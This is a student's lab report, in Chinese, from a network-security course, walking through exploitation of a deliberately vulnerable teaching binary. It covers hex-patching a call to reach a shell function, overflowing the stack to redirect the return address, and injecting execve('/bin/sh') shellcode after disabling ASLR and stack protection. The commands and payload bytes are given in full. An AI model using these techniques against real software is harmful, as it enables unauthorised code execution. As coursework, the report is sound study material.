2018-2019-2 网络对抗技术 20165217 Exp1 PC平台逆向破解

本次实验分为三个模块:

(一)直接修改程序机器指令,改变程序执行流程;

(二)通过构造输入参数,造成BOF攻击,改变程序执行流;

(三)注入Shellcode并执行;

实验准备阶段:

1.将老师提供的pwn1文件通过共享文件夹传到kali上以便以后使用。

2.将pwn1文件复制到主目录下,并进行备份。

有关知识内容

1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP汇编指令的机器码是“90”

JNE汇编指令的机器码是“75”

JE 汇编指令的机器码是“74”

JMP汇编指令的机器码是“eb”

CMP汇编指令的机器码是“39”

2.掌握反汇编与十六进制编程器

反汇编指令:objdump -dobjfile,关于其他用法可参考Linux下C程序的反汇编

关于管道,输入、输出重定向参考linux下输入输出重定向和管道符

十六进制编程器:用来以16进制视图进行文本编辑的编辑工具软件,其实我们只需要用各系统都兼容的vim编辑器就可以实现十六进制编辑的功能。具体步骤如下:

  • 输入命令vi 20165330zyx查看可执行文件内容,发现大部分是我们没法理解的乱码;

  • 按esc后在底行输入:%!xxd将显示模式切换为16进制模式;

  • 进行相关操作后,输入:%!xxd -r转换16进制为原格式。

3.能正确修改机器指令改变程序执行流程

详见任务一

4.能正确构造payload进行bof攻击

详见任务二

任务一 (直接修改程序机器指令,改变程序执行流程)

当你拿到这个文件以后,放在你的虚拟机里面,你会发现他可能不是可执行文件(没有高亮):
(图一)
image.png
解决办法:chmod +x pwn1即可,执行之后文件变成高亮:
(图二)
image.png
第一个任务实际上就是:在main函数对子函数foo调用的时候,修改call指令跳转的地址,使其跳转到子函数shellcode处进行执行,从而达到获取shell的目的。

首先:objdump -d pwn1,反汇编pwn1文件。
image.png

反汇编结束后你发现:main函数里面有一步call 804891,机器码指令为e8 d7 ff ff ff(call的机器码就是e8,后面是地址)。

进一步分析:08048491是,0804847d是我们的跳转目标。

0x08048491 - 0x0804847d = 0x00000014 //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址
(小端机器)

接着使用命令vi pwn1修改文件。

进入之后是乱码,使用:%!xxd转换为16进制显示。
image.png

使用/d7命令寻找e8d7ffffff机器指令所在地。

找到以后按i进入插入模式,修改d7为c3。
image.png
然后使用:%!xxd -r换回乱码的样子(不换回去会出问题),再用:wq保存即可。

这时如果再次objdump -d pwn1你能看到pwn1文件已经改了:
image.png
执行./pwn1文件可以成功获取shell:
image.png
至此第一个实验成功。

任务二(通过构造输入参数,造成BOF攻击,改变程序执行流)

实验存在的问题:

1.问题原因:任务一中更改文件内容忘记备份。
image.png

解决方案:重新载入该文件。

2.问题原因:权限不够,需要再次输入 chmod +x pwn3
image.png

实现操作:

使用gdb命令,输入gdb pwn3

输入r执行pwn4,这时程序正常执行,在foo子函数调用的过程中,需要我们输入一个字符串(在你输入完毕以后foo会自动输出这个字符串)。

输入36个字符后回车:1111111122222222333333334444444487654321,观察一下各寄存器的值

image.png
这时候已经发生段错误:Segmentation fault,你能看见图中:0x35363738 in ?? (),也就是说他不认识跳转的地址0x35363738是什么。

info r查看寄存器eip的值,发现输入的8765被覆盖到堆栈上的返回地址
image.png

这是我们就将getShell的地址0x0804847d把8765替换即可

由于数据按小端存储,我们的正确输入为11111111222222223333333344444444\x7d\x84\x04\x08
因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括字符串的一个文件(\x0a表示回车)
使用16进制查看指令xxd查看input文件的内容是否如预期
确认无误后用(cat input;cat) | ./pwn3将input中的字符串作为可执行文件的输入
image.png
image.png

任务三(注入Shellcode并执行)

一开始先要设置堆栈可执行:

execstack -s pwn4 //设置堆栈可执行

execstack -q pwn1    //查询文件的堆栈是否可执行

堆栈可执行的话结果是X pwn4;(没有这个命令就apt-get install execstack

另外,如果一开始没有关闭地址随机化,每一次操作esp的地址都会变化,因此实验的关键就是要关闭地址随机化。

使用echo "0" > /proc/sys/kernel/randomize_va_space关闭。

整个过程中我们需要注入一段代码,和实验二里面使用的perl类似,我们首先构造一个input_shellcode:

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

首先在一个窗口运行 (cat input_shellcode;cat) | ./pwn4

在另外一个窗口ps -ef | grep pwn能看见当前运行pwn4的进程号;

在gdb里面attach 进程号进行调试如图:
image.png
设置断点查看注入buf的内存地址

 disassemble foo //反汇编
break *0x080484ae   //设置断点
  //在另外一个终端中按下回车

c继续

info r esp查看esp栈顶指针的地址

使用x/16x 0xffffd33c查看其存放内容,看到01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340,即0xffffd33c加上4字节

c-quit退出gdb调试,回到之前的终端输入exit退出命令,修改之前的 \x4\x3\x2\x1部分:

perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

再次运行 (cat input_shellcode;cat) | ./pwn4 后发现执行成功

image.png

实验收获与感想

本次实验的内容不算很难,但许多细节上的不小心浪费了我很多时间,同时在本次试验中我对堆栈和一些寄存器的使用有了更深刻的体会,明白了堆栈是怎么被恶意代码覆盖的,覆盖后又是如何跳转的,跳转后又是怎么执行的。在今后的实验中,我也会更加细心、认真的完成好接下来的实验。

posted @ 2019-03-16 22:47  叶佺  阅读(207)  评论(1编辑  收藏  举报